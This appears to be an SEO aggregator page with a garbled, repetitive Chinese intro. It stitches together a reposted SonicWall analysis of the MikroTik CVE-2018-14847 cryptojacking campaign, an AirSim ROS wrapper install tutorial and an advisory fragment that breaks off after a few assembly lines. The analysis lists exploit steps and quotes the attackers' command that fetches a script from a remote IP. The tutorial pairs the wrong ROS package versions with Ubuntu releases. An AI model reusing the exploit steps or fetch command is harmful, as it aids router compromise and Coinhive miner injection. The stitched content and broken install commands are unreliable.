在本文中，您将会了解到关于ROSrouterosmikrotik路由器CVE-2018-14847漏洞的新资讯，同时我们还将为您解释ros路由器官网的相关在本文中，我们将带你探索ROSrouteros

在本文中，您将会了解到关于ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞的新资讯，同时我们还将为您解释ros路由器官网的相关在本文中，我们将带你探索ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞的奥秘，分析ros路由器官网的特点，并给出一些关于Airsim 动态 | 安装 ROS 包装器（AirSim ROS Wrapper）、CVE-2018-3639 & CVE-2018-3640：CPU SSB/RSRE 漏洞预警、CVE-2018-8897/CVE-2018-1087：多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警、CVE-2020-3110、CVE-2020-3111、CVE-2020 -3118、CVE-2020-3119、CVE-2020-3120 cdpwn 解析的实用技巧。

• ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞（ros路由器官网）
• Airsim 动态 | 安装 ROS 包装器（AirSim ROS Wrapper）
• CVE-2018-3639 & CVE-2018-3640：CPU SSB/RSRE 漏洞预警
• CVE-2018-8897/CVE-2018-1087：多个操作系统对 MOV SS/POP SS 指令处理存在缺陷预警
• CVE-2020-3110、CVE-2020-3111、CVE-2020 -3118、CVE-2020-3119、CVE-2020-3120 cdpwn 解析

ROS routeros mikrotik 路由器 CVE-2018-14847 漏洞（ros路由器官网）

原文：

https://securitynews.sonicwall.com/xmlpost/massive-cryptojacking-campaign/

SonicWall is observing a massive Cryptojacking malware that is spreading aggressively throughout Brazil. The Malware attempts to exploit the vulnerability CVE-2018-14847 by targeting the unpatched versions of MikroTik RouterOS. Compromised MikroTik routers have been made to inject Coinhive miner script into the web pages it host & also pages from web proxy.  As MikroTik routers are mainly used by Internet Service Providers (ISP), the impact is huge & widespread.

Fig:1 Monero mining through compromised MikroTik RouterOS

CVE-2018-14847:

Winbox, a utility tool for administration of MikroTik RouterOS, allows remote attackers to bypass authentication and to read arbitrary files. Winbox accepts socket connection through port 8291, and in case of error, it sends out “Bad Session id” response. Along with this response one byte from the Session ID is also sent. Attackers could exploit this exposure of session ID to craft a request to get into the system. MikroTik RouterOS versions from 6.29 through 6.42 are vulnerable to this attack.

STEPS TO EXPLOIT THIS VULNERABILITY:

1. Scan for MikroTik devices by sending UDP broadcast message to port 5678 and figure out mac address from the socket connection message.

Note: UDP port 5678 is used for MikroTik Neighbor Discovery Protocol (MNDP).

Fig: 2 Discovering MikroTik devices from POC

2. Attempt to connect to MicroTik device with its mac. Capture the Session ID leaked by the “Bad session id response”. Resend the packet by  altering just one byte of session id to bypass authentication allowing access to files

Fig 3 : Exploit code from POC

3. Extract the data files & user credential to get admin privilege over MikroTik

4. Make the below changes to the MikroTik Routers, leaving the device more vulnerable than before.

• Disable Drop rules for Firewall
• Enable port 4145 for ip socks
• System scheduler to run a script named script3_ every 30s to fetch the updated mikrotik.php
  • fetch a\ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http”

We too observed unusual port activity for the destination port 4145. The below spike in the port scan aligns with the time period of this attack. But the IP address that tapped is not same as 95.154.216.*

Fig: 4 NetworkScan monitor report from netlab 360

INJECT COINHIVE MINER SCRIPT:

MikroTik can be used as web server hosting web pages & as proxy server proxying HTTP requests, caching the response to use later and also provides custom error pages. It is found that attackers have used all three venues to wide spread the injection of coinhive miner. Users connected to MikroTik RouterOS can have the script injected into their responses & as well the users visiting the pages hosted by MiktoTik (shown in Fig 1) . It spreads quickly up to ~200,000 web hosts having the Coinhive miner script linked with a single Coinhive ‘SiteKey’ that belongs to the attacker

Fig: 5 Coinhive miner script injected into a website

Fig: 6 Volume of web hosts impacted with this

CONINHIVE:

Cryptojacking is same as cryptocurrency but secret use of your computing device to mine cryptocurrency. In-browser cryptojacking secretly use the computing device of the site visitor to mine bits of cryptocurrencies.  Coinhive is a cryptocurrency mining service that offers Javascript miner API for the Monero Blockchain. It can be embedded in any website. But website owners abuse this service by not asking for users permission to run the miner. Also attackers abuse this by embedding coinhive API with his sitekey on the hacked websites. Users visiting those sites run miner on their browsers draining their CPU power as long as the browser is open. Unlike Bitcoin, Monero is untraceable and there is no way to track Monero transactions. This makes Monero an ideal candidate for hackers and Coinhive the most prevalent malware to mine cryptocurrency. With Cryptojacking, all the infected machines will work to mine cryptocurrency, more profitable than Ransomware.

Sonicwall Threat Research Lab provides protection against Coinhive miner with the following signatures:

• GAV Coinhive.JS_2
• GAV CoinHive.JS
• SPY CoinHive WebAssembly Binary 1
• IPS Coinhive Monero Miner Secure Web Traffic 1
• IPS Coinhive Monero Miner Secure Web Traffic 2
• IPS Coinhive Monero Miner Web Traffic 1

Trend Graph & Geostatistics :

Find below the hits that SonicWall observed in the recent past

This can be avoided by updating to the latest version of MikroTik RouterOS & securing the Router with strong authentication & firewall rules to block unauthorized access.

Airsim 动态 | 安装 ROS 包装器（AirSim ROS Wrapper）

本期内容我们将带来在 Airsim 环境下使用 ROS Wrapper 的相关教程，以下是 AirSim 客户端库上的一些 ROS Wrapper 相关配置。

一、启动

以下步骤适用于 Linux 系统。如果是在 Windows 上运行 AirSim，可以使用 Windows Subsystem for Linux (WSL) 来运行 ROS 包装器，如果不想在主机上安装 ROS 相关工具，也可以使用 Docker 容器进行安装。请检查下方内容并按照需求安装，具体内容可以参照最后网址。

如果您的默认 GCC 版本不是 8 或更高版本（检查使用命令 gcc --version）

a) 安装 gcc >= 8.0.0：sudo apt-get install gcc-8 g++-8 b) 验证安装 gcc-8 --version

如果是 Ubuntu 18.04 版本 a) 安装 ROS melodic 版本 b) 安装 tf2 传感器和 mavros 包： sudo apt-get install ros-kinetic-tf2-sensor-msgs ros-kinetic-tf2-geometry-msgs ros-kinetic-mavros*

如果是 Ubuntu 16.04 版本 a) 安装 ROS Kinetic 版本 b) 安装 tf2 传感器和 mavros 包： sudo apt-get install ros-melodic-tf2-sensor-msgs ros-melodic-tf2-geometry-msgs ros-melodic-mavros*

如果是 Ubuntu 20.04 版本 a) 安装 ROS noetic 版本 b) 安装 tf2 传感器和 mavros 包： sudo apt-get install ros-melodic-tf2-sensor-msgs ros-melodic-tf2-geometry-msgs ros-melodic-mavros*

安装 catkin_tools： sudo apt-get install python-catkin-tools 或 pip install catkin_tools. 如果使用的 Ubuntu 是 20.04 版本，请使用以下安装命令： pip install "git+https://github.com/catkin/catkin_tools.git#egg=catkin_tools"

网址推荐： 1.WSL 在 Win10 上构建环境： https://microsoft.github.io/AirSim/airsim_ros_pkgs/#setting-up-the-build-environment-on-windows10-using-wsl1-or-wsl2

2. 使用 Docker: https://microsoft.github.io/AirSim/airsim_ros_pkgs/#using-docker-for-ros

二、构建环境

构建 AirSim: git clone https://github.com/Microsoft/AirSim.git; cd AirSim; ./setup.sh; ./build.sh; 确定已按照上述界面安装好并为 ROS 设置了环境变量。方便起见，将 “source” 命令添加到自己的【.bashrc】上（替换 melodic 为特定版本名称）。 echo "source /opt/ros/melodic/setup.bash" >> ~/.bashrc source ~/.bashrc

构建 ROS 包 cd ros; catkin build; # or catkin_make

请注意，如果自己默认 GCC 版本不是 8 以上的版本，则会导致编译失败，在这种情况下，可以使用【gcc-8】明确这一点： catkin build -DCMAKE_C_COMPILER=gcc-8 -DCMAKE_CXX_COMPILER=g++-8

三、运行 source devel/setup.bash; roslaunch airsim_ros_pkgs airsim_node.launch; roslaunch airsim_ros_pkgs rviz.launch; 注意：如果运行时出现错误：

注意：如果运行时出现错误： roslaunch airsim_ros_pkgs airsim_node.launch 则可以使用命令 catkin clean 清除并重新运行。

四、使用 AirSim ROS wrapper 功能包 ROS wrapper 由两个 ROS 节点组成 —— 第一个是 AirSim 的多旋翼 C++ 客户端库的包装器，第二个是一个简单的 PD 位置控制器。

关于订阅和发布节点，参数与 service 可以参考网址： https://microsoft.github.io/AirSim/airsim_ros_pkgs/#airsim-ros-wrapper-node

PID 位置控制器节点可以参考： https://microsoft.github.io/AirSim/airsim_ros_pkgs/#simple-pid-position-controller-node

• End -

技术发展的日新月异，阿木实验室将紧跟技术的脚步，不断把机器人行业最新的技术和硬件推荐给大家。看到经过我们培训的学员在技术上突飞猛进，是我们培训最大的价值。如果你在机器人行业，就请关注我们的公众号，我们将持续发布机器人行业最有价值的信息和技术。 阿木实验室致力于前沿 IT 科技的教育和智能装备，让机器人研发更高效！

CVE-2018-3639 & CVE-2018-3640：CPU SSB/RSRE 漏洞预警

01: 88040F            mov [rdi+rcx],al
02: 4C0FB6040E        movzx r8,byte [rsi+rcx]
03: 49C1E00C          shl r8,byte 0xc
04: 428B0402          mov eax,[rdx+r8]